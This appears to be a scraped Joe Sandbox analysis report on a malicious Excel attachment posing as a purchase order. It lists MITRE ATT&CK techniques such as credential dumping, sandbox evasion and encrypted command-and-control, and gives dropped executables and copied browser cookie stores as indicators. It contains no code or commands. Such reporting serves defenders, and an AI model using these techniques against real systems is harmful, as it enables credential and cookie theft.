Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PURCHASE ORDER & SAMPLE IMAGE.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\maxdyn2.1[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\maxdyn2.1[1].htm

C:\Users\user\AppData\Local\Temp\C21.tmp

C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx

C:\Users\user\AppData\Local\Temp\gebgvlm.mce

C:\Users\user\AppData\Local\Temp\lyebkz.exe

C:\Users\user\AppData\Local\Temp\nso9271.tmp

C:\Users\user\AppData\Local\Temp\~DFD6E0A1119A5FCA71.TMP

C:\Users\user\AppData\Roaming\word.exe

C:\Users\user\AppData\Roaming\yn4sky33.ptd\Chrome\Default\Cookies

C:\Users\user\AppData\Roaming\yn4sky33.ptd\Firefox\Profiles\7xwghk55.default\cookies.sqlite

C:\Users\user\Desktop\~$PURCHASE ORDER & SAMPLE IMAGE.xlsx

Static File Info

General

File Icon

Static OLE Info

Windows Analysis Report
PURCHASE ORDER & SAMPLE IMAGE.xlsx

Function 03674C4F Relevance: 3.1, APIs: 2, Instructions: 90
libraryCOMMON

Function 03674D2B Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Function 03674C77 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Function 03674CE0 Relevance: 1.6, APIs: 1, Instructions: 58
filenetworkCOMMON

Function 03674D4B Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00403640 Relevance: 84.4, APIs: 34, Strings: 14, Instructions: 450
stringfilecomCOMMON

Function 00405D74 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00406D5F Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre